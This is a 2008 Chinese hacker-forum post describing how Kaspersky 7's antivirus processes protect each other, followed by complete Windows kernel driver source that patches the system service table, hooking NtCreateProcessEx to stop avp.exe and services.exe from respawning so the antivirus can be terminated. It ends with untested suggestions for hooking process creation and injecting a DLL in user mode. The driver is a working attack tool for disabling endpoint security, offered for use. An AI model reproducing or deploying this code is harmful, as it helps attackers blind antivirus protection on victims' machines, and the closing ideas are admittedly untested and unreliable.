信息来源：邪恶八进制信息安全团队（
www.eviloctal.com）
文章作者：认真的雪[EST]
前些时候玩卡巴7，恢复ssdt之后，发现能用任务管理器结束进程了，竟然米发现还有进程守护，哎.....髓男呀
卡巴有两个avp.exe进程，一个用户模式下的，一个系统模式下的，而且当其中任意一个进程被结束，马上又会被重新创建。。。。。
不过这当中有些不同，当用户模式下的avp.exe被kill后，由系统模式下的avp.exe重新创建用户下的avp.exe，而当系统模式下的avp.exe被结束后，则是由services.exe重新创建系统模式的avp.exe的（权限继承，方便，猥琐，哈哈.....，可能用了远程线程技术）
所以把内核模式下滴NtCreateProcessEx HOOK，就ok了（xp下创建进程不调用NtCreateProcess），看你嚣张到几时
复制内容到剪贴板
代码:
#include "ntddk.h"
#include "stdio.h"
#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long
#define NAMEOFFSET 0X174
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;
typedef NTSTATUS (*NTCREATEPROCESSEX)(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ParentProcess,
IN BOOLEAN InheritObjectTable,
IN HANDLE SectionHandle OPTIONAL,
IN HANDLE DebugPort OPTIONAL,
IN HANDLE ExceptionPort OPTIONAL,
IN HANDLE Unknown );
DWORD OldNtCreateProcessEx;
NTSTATUS NewNtCreateProcessEx(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ParentProcess,
IN BOOLEAN InheritObjectTable,
IN HANDLE SectionHandle OPTIONAL,
IN HANDLE DebugPort OPTIONAL,
IN HANDLE ExceptionPort OPTIONAL,
IN HANDLE Unknown OPTIONAL)
{
CHAR processName[20];
PCHAR name;
DWORD eproc;
eproc=(DWORD)PsGetCurrentProcess();
name=(PCHAR)(eproc+NAMEOFFSET);
strncpy(processName,name,16);
strlwr(processName);
if(strncmp(processName,"avp.exe",7)==0||strncmp(processName,"services.exe",12)==0)
{
return STATUS_ACCESS_DENIED;
}
return ((NTCREATEPROCESSEX)(OldNtCreateProcessEx))(ProcessHandle,DesiredAccess,
ObjectAttributes,ParentProcess,InheritObjectTable,SectionHandle,DebugPort,ExceptionPort,Unknown);
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("OnUnload called\n");
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
*(DWORD*)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + 0x30)=OldNtCreateProcessEx;
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
theDriverObject->DriverUnload = OnUnload;
OldNtCreateProcessEx=*(DWORD*)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + 0x30);
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
*(DWORD*)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + 0x30)=(DWORD)NewNtCreateProcessEx;
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
return STATUS_SUCCESS;
}其实再用户模式下应该也可以实现突破进程守护
1、再用户模式下hook avp.exe和services.exe的ZwCreateProcessEx函数
2、向avp.exe注入个dll（sstd都恢复了，注入dll应该可以了），让所有线程都挂起，先结束系统模式下的avp.exe，然后再结束用户模式下滴
上面两种方法，偶也米试过，只是思路，可能会有错误，懒瓦......
不知道大伙还有啥办法不？
[
本帖最后由 认真的雪 于 2008-4-19 10:58 编辑 ]
